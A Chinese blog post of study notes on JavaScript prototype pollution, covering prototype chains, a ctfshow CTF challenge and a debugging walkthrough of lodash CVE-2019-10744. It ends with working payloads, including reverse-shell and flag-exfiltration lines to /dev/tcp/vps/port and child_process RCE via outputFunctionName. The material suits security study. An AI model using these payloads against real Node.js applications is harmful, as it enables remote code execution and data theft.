JavaScript原型链污染学习记录

news2024/11/19 16:45:41

1.JS原型和继承机制

0> 原型及其搜索机制
  • NodeJS原型机制,比较官方的定义:

我们创建的每个函数都有一个 prototype(原型)属性,这个属性是一个指针,指向一个对象,

而这个对象的用途是包含可以由特定类型的所有实例共享的属性和方法

设计原型的初衷无非是对于每个实例对象,其拥有的共同属性没必要对每个对象实例再分配一片内存来存放这个属性。而可以上升到所有对象共享这个属性,而这个属性的实体在内存中也仅仅只有一份。

而原型机制恰好满足这种需求。

打个不太恰当的比喻,对于每个对象,都有其原型对象作为共享仓库,共享仓库中有属性和方法供生产每个对象实例时使用

1> 原型链和继承
  • 原型链

原型链是在原型上实现继承的一种形式

举个例子:

function Father(){
    this.name = "father";
    this.age = 66;
}

function Son(){
    this.name = "son";
}

var father1 = new Father();

Son.prototype = father1;

var son1 = new Son();

console.log(son1);
console.log(son1.__proto__);
console.log(son1.__proto__.__proto__);
console.log(son1.__proto__.__proto__.__proto__);
console.log(son1.__proto__.__proto__.__proto__.__proto__);


/*
Father { name: 'son' }
Father { name: 'father', age: 66 }
{}
[Object: null prototype] {}       
null
*/

整个的原型继承链如下:

image-20230501151612259

  • 关于原型搜索机制:

1)搜索当前实例属性

2)搜索当前实例的原型属性

3)迭代搜索直至null

帮助网安学习,全套资料S信免费领取:
① 网安学习成长路径思维导图
② 60+网安经典常用工具包
③ 100+SRC分析报告
④ 150+网安攻防实战技术电子书
⑤ 最权威CISSP 认证考试指南+题库
⑥ 超1800页CTF实战技巧手册
⑦ 最新网安大厂面试题合集(含答案)
⑧ APP客户端安全检测指南(安卓+IOS)

在上面的例子中

console.log(son1.name);
console.log(son1.age);
/*
son
66 
*/
2> 内置对象的原型

这个也是多级原型链污染的基础

拿一张业内很经典的图来看看

img

2.姿势利用

1>利用原型污染进行RCE
global.process.mainModule.constructor._load('child_process').execSync('calc')

image-20230501153417183

2>多级污染

ctfshow Web340中有这么一题:

/* login.js */
  var user = new function(){
    this.userinfo = new function(){
    this.isVIP = false;
    this.isAdmin = false;
    this.isAuthor = false;     
    };
  }
  utils.copy(user.userinfo,req.body);
  if(user.userinfo.isAdmin){
   res.end(flag);
  }

由于Function原型对象的原型也是Object的原型,即

user --(__proto__)--> Function.prototype --(__proto__)--> Object.prototype

那么就可以通过这个进行多级污染,payload为如下形式:

{
    "__proto__":{
        "__proto__":{
            attack_code
        }
    }
}
3>Lodash模块的原型链污染(以lodash.defaultsDeep(CVE-2019-10744)为例,进行CVE复现)

lodash版本 < 4.17.12

CVE-2019-10744:在低版本中的lodash.defaultDeep函数中,Object对象可以被原型链污染,从而可以配合其他漏洞。

看下官方样例PoC的调试过程:

const lodash = require('lodash');
const payload = '{"constructor": {"prototype": {"whoami": "hack"}}}'

function check() {
    lodash.defaultsDeep({}, JSON.parse(payload));
    if (({})['whoami'] === "hack") {
        console.log(`Vulnerable to Prototype Pollution via ${payload}`);
        console.log(Object.prototype);
    }
}

check();

开始调试:

在lodash中,baseRest是一个辅助函数,用于帮助创建一个接受可变数量参数的函数。

所以主体逻辑为,而这段匿名函数也将为func的函数的函数体

args.push(undefined, customDefaultsMerge);
return apply(mergeWith, undefined, args);

image-20230501172924114

查看overRest

在变量监听中可以发现,传入的参数整合成一个参数对象args

image-20230501165542755

继续往下return apply

image-20230501200948397

apply后进入,是个使用switch并且根据参数个数作为依据

发现使用了call,这里可能是个进行原型链继承的可利用点。

(而这种技术称为借用构造函数,其思想就是通过子类构造函数中调用超类构造函数完成原型链继承)

function Super(){}
function Sub(){
    Super.call(this);			// 继承
}

然后apply中返回至刚才的匿名函数体中(此时刚执行完baseRest(func)),其中customDefaultMergemerge的声明方式

image-20230501201429867

继续深入,由上可知apply(func=mergeWith,thisArg=undefined,args=Array[4])

image-20230501202011773

基于start的计算机制,不难得知undefined是作为占位符,使得start向后移动

image-20230501203050752

继续调试,在NodeJS中,普通函数中调用this等同于调用全局对象global

image-20230501203715075

assigner视为合并的一个黑盒函数即可,至此完成原型链污染。

image-20230501204240350

image-20230501204336670

Question: 注意到PoC中的lodash.defaultsDeep({}, JSON.parse(payload));是要求先传入一个object实例的(此处为{})

所以还是具体分析一下合并的过程(来看下assigner的一些底层实现)

注意:通常而言,合并需要考虑深浅拷贝的问题

/*baseMerge*/
    function baseMerge(object, source, srcIndex, customizer, stack) {
      if (object === source) {					// 优化判断是否为同一对象,是则直接返回
        return;
      }
        
        // 遍历source的属性,选择深浅复制
        
      baseFor(source, function(srcValue, key) {
        if (isObject(srcValue)) {
          stack || (stack = new Stack);
          baseMergeDeep(object, source, key, srcIndex, baseMerge, customizer, stack);
        }
        else {
          var newValue = customizer
            ? customizer(safeGet(object, key), srcValue, (key + ''), object, source, stack)
            : undefined;

          if (newValue === undefined) {
            newValue = srcValue;
          }
          assignMergeValue(object, key, newValue);
        }
      }, keysIn);
    }
    var baseFor = createBaseFor();
    function createBaseFor(fromRight) {			// fromRight选择从哪端开始遍历		
      return function(object, iteratee, keysFunc) {
        var index = -1,
            iterable = Object(object),
            props = keysFunc(object),
            length = props.length;

        while (length--) {
          var key = props[fromRight ? length : ++index];
          if (iteratee(iterable[key], key, iterable) === false) {	// 这里的iteratee即为baseFor中的匿名函数
            break;
          }
        }
        return object;
      };
    }

那我就再调试一下,在iteratee中(即匿名函数中),若为对象,则选择深拷贝。

image-20230501214414062

原来在4.17.12之前的版本也是有waf的,只是比较弱。

image-20230501214540947

回归正题,在customizer之后便产生了合并

image-20230501215807038

所以,为了更好地观察,我将{}替换成[](Array对象实例)

重新开始调试到此处并进入,发现这是一个迭代合并的过程,先判断是否都为对象。如果是的话,则会进行压栈然后开始浅拷贝合并。

image-20230501220535024

image-20230501222217997

这是在生成属性时需要设置的四种数据属性

image-20230501221244986

回归正题,发现只能写入Array的原型

image-20230501221644127

再验证一下

const lodash = require('lodash');
const payload = '{"constructor": {"prototype": {"whoami": "hack"}}}'

var object = new Object();

function check() {
    // JSON.parse(payload)之后是一个JS对象
    lodash.defaultsDeep([],JSON.parse(payload));
    if (({})['whoami'] === "hack") {
        console.log(`Vulnerable to Prototype Pollution via ${payload}`);
        console.log(Object.prototype);
    }
}

check();

console.log(Array.prototype);

image-20230501221752843

所以说需要直接传入一个Object的实例。

官方修复,直接上waf:检测JSON中的payload中的key值

此处对比一下lodash4.17.12之前的版本,key值过滤得更为严格

image-20230501210253505

总结一下,CVE-2019-10744可用的payload

# 反弹shell
{"constructor":{"prototype":
{"outputFunctionName":"a=1;process.mainModule.require('child_process').exec('bash -c \"echo $FLAG>/dev/tcp/vps/port \"')//"}}}

# RCE
// 对于某个object实例
{"__proto__":{"outputFunctionName":"a=1;return global.process.mainModule.constructor._load('child_process').execSync('cat /flag')//"}}

# 反弹shell
{"__proto__":{"outputFunctionName":"_tmp1;global.process.mainModule.require('child_process').exec('bash -c \"bash -i >& /dev/tcp/vps/port 0>&1\"');var __tmp2"}}

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/492140.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

为什么用Selenium做自动化测试,你真的知道吗?

目录 手工测试的问题 为什么用自动化 选择合适的测试方式 什么时候引入自动化测试 以Jmeter为代表的测试工具 编程能力既重要又不重要 为什么是Selenium 没有最好的技术&#xff0c;只有合适的技术 web自动化测试效率不高 手工测试的问题 手工操作点点点借助的是人脑的…

知识变现海哥|这3种课程定价最容易爆单

这3种课程定价最容易爆单 一门课怎么才能卖到100万&#xff0c;定价很关键。我卖了160万的课&#xff0c;总结了3种课程定价&#xff0c;组合起来最容易爆单&#xff01;引流课定价0、1、9.9、19.9一般讲3天结束&#xff0c;用低价吸引大量潜在学员 信任课定价99、699、999等…

C++—非递归【循环】遍历二叉树(前序,中序,后序)思路讲解+代码实现

非递归遍历二叉树 前序中序后序 接下来我们在研究如何使用循环实现遍历二叉树时&#xff0c;以下面的二叉树为例&#xff1a; 在下文的讲解中&#xff0c;不对如何构建这颗二叉树做讲解&#xff0c;直接给出代码&#xff0c;如果有不懂的地方欢迎私信我。 文章中的完整源代码链…

一篇文章搞定《Android内存泄漏》

------《Android内存泄漏》 什么是内存泄漏常见的内存泄漏以及规避方式单例模式引用Activity非静态内部类注册的反注册定时器TimerWebView的内存泄漏资源未关闭属性动画 怎么定位内存泄漏LeakCanary接入&#xff1a;使用&#xff1a;检测&#xff1a; Android Proflier开始检测…

Linux驱动编程(分层分离编程思想)

1、面向对象 ⚫ 字符设备驱动程序抽象出一个 file_operations 结构体&#xff1b; ⚫ 我们写的程序针对硬件部分抽象出 led_operations 结构体。 2、分层 上层实现硬件无关的操作&#xff0c;比如注册字符设备驱动&#xff1a;leddrv.c 下层实现硬件相关的操作&#xff0c;比如…

【R语言】鉴于计算10亿以内训练模型记录for循环的加速

文章目录 1 前言2 几个循环2.1 100以内的和2.2 100以内奇数和/偶数和 3 多重循环3.1 向量化3.2 合并循环3.3 apply函数3.4 矩阵运算3.5 foreach分解任务 4 讨论 1 前言 笔者主力机是MBAM1芯片&#xff08;8256&#xff09;&#xff0c;某个下午巩固循环突然思考到个问题&#…

App违反Google数据安全政策,解决方案

前言 google隐私政策阶段性会进行更新&#xff0c;时长关注隐私政策变化&#xff0c;避免app被强制下架&#xff0c;影响后续运营工作。 邮件内容 摘录邮件详情 我们在以下区域发现了问题&#xff1a; SPLIT_BUNDLE 2:政策声明&#xff0c;数据安全部分&#xff1a;“https:…

中国社科院与美国杜兰大学金融管理硕士项目,引领你走在金融行业前沿

作为金融领域从业人员时刻都在关注行业最新资讯&#xff0c;只有掌握一手的前沿讯息&#xff0c;才能在职场上无往不胜。针对在职的你&#xff0c;如何利用业余时间让自己更增值呢&#xff0c;中国社科院与美国杜兰大学金融管理硕士项目引领你走在金融行业前沿。 金融管理硕士…

ecology9-嵌入第三方系统,特定情况下在嵌套页提示“登录超时,请重新登录”

ecology9-嵌入第三方系统&#xff0c;特定情况下在嵌套页提示“登录超时&#xff0c;请重新登录” 问题描述尝试1尝试2尝试3√尝试4参考 问题描述 A系统对接了ecology9的单点登录。A系统在某个边栏菜单嵌入ecology9的流程页面。当清空浏览器缓存时&#xff0c;A系统在单点登录…

从C语言到C++⑥(第二章_类和对象_中篇_续)大练习(日期类)+笔试选择题

目录 1. 日期类详细实现 1.1 构造函数和打印函数 1.2 六个比较运算符重载 1.3 日期天数 和 日期天数 1.4 日期 - 天数 和 日期 - 天数 1.5 日期 和 日期 1.6 日期-- 和 --日期 1.7 日期 - 日期 operator- 1.8 打印*this是星期几 2. 日期类完整代码 Date.h: Date.…

计算机智能系统有哪些SCI期刊? - 易智编译EaseEditing

计算机智能系统是计算机科学中的一个重要分支&#xff0c;其主要研究计算机智能和人工智能等方面的问题。以下是一些SCI期刊的推荐&#xff1a; IEEE Transactions on Neural Networks and Learning Systems&#xff1a; 该期刊是IEEE计算智能学会的官方期刊&#xff0c;涵盖了…

JavaWeb——数据链路层详解

目录 一、以太网 1、定义 2、以太网格式帧 二、MTU 1、定义 2、MTU对IP协议的影响 3、MTU对UDP协议的影响 4、MTU对TCP协议的影响 三、ARP协议 1、定义 2、ARP协议的作用 3、ARP协议的工作流程 一、以太网 1、定义 "以太网" 不是一种具体的网络&#xff…

谷歌浏览器 | Chrome DevTools系统学习篇-概述

Chrome DevTools是一套直接内置到谷歌Chrome浏览器的web开发工具。DevTools可以帮助您即时编辑页面并快速诊断问题&#xff0c;最终帮助您更快地构建更好的网站。我们今天的概述主要讲述谷歌浏览器的日常使用和几大常见控制面板的介绍。 目录 1.打开谷歌浏览器 2.谷歌浏览器的…

MySQL 页、页结构、页目录、索引

MySQL中&#xff0c;数据存到了什么地方&#xff1f; 存储到了硬盘的文件上&#xff0c;被称为&#xff1a;数据文件 或 表空间 每个数据库都是由 一组数据文件 组成&#xff0c;这些文件包含了&#xff1a;所有表、索引、其他相关对象的数据 MySQL 以什么样的方式访问&#…

安卓联发科MT6737手机开发核心板 开发模块

MT6737核心板是一款基于联发科MT6737T平台高性能、可运行安卓操作系统的4G智能模块。它支持多种制式&#xff0c;包括LTE-FDD/LTE-TDD/WCDMA/TD-SCDMA/EVDO/CDMA/GSM等。此外&#xff0c;它还支持WiFi 802.11a/b/g/n和BT4.0LE近距离无线通信&#xff0c;并支持GPS/GLONASS/北斗…

机器学习笔记之计算学习理论(二)PAC学习

机器学习笔记之计算学习理论——PAC学习 引言回顾&#xff1a;霍夫丁不等式霍夫丁不等式的问题及其优化 PAC \text{PAC} PAC引出新问题——霍夫丁不等式无法通过直接比较获取最优假设函数问题的解决方法新方法对于霍夫丁不等式的约束证明 总结 引言 上一节从霍夫丁不等式为切入…

STC32G12K128单片机的 moubus-rtu 从机测试工程

简介 STC32G12K128 是STC 推出的一款32位的 C251 的单片机。最近拿到一块官方申请的 屠龙刀-STC32G开发板&#xff0c;就用它的提供的库函数&#xff0c;查考安富莱提供的 modbus 例程移植了一个 modbus-rtu 从站的工程。 modbus-rtu slave 移植注意点 modbus-rtu 功能配置 …

每日学术速递5.3

CV - 计算机视觉 | ML - 机器学习 | RL - 强化学习 | NLP 自然语言处理 Subjects: cs.CV 1.Learning Locally Editable Virtual Humans 标题&#xff1a;学习本地可编辑虚拟人 作者&#xff1a;Hsuan-I Ho, Lixin Xue, Jie Song, Otmar Hilliges 文章链接&#xff1a;htt…

【分享】7-Zip解压缩软件的超详细使用攻略

常用的解压缩软件&#xff0c;除了WinRAR之外&#xff0c;7-Zip也是不错的选择。 7-Zip不仅是一款完全免费的开源解压软件&#xff0c;它的解压缩功能也很强大&#xff0c;可以支持视频、文档、文件夹、图片等文件进行压缩操作。 今天小编就来分享一下&#xff0c;7-Zip解压缩…

python一键登录srun校园网(以深圳技术大学为例)

全世界最&#xff08;不&#xff09;好的目录 一、需求分析二、实现过程2.1 分析api2.1.1 连接到校园网&#xff0c;自动弹出登录认证界面2.1.2 先输入错误的账号密码&#xff0c;按F12看会获取哪些信息2.1.3 api 2.2 分析加密2.3 流程总结 三.模拟登录3.1 编写配置文件3.2.功能…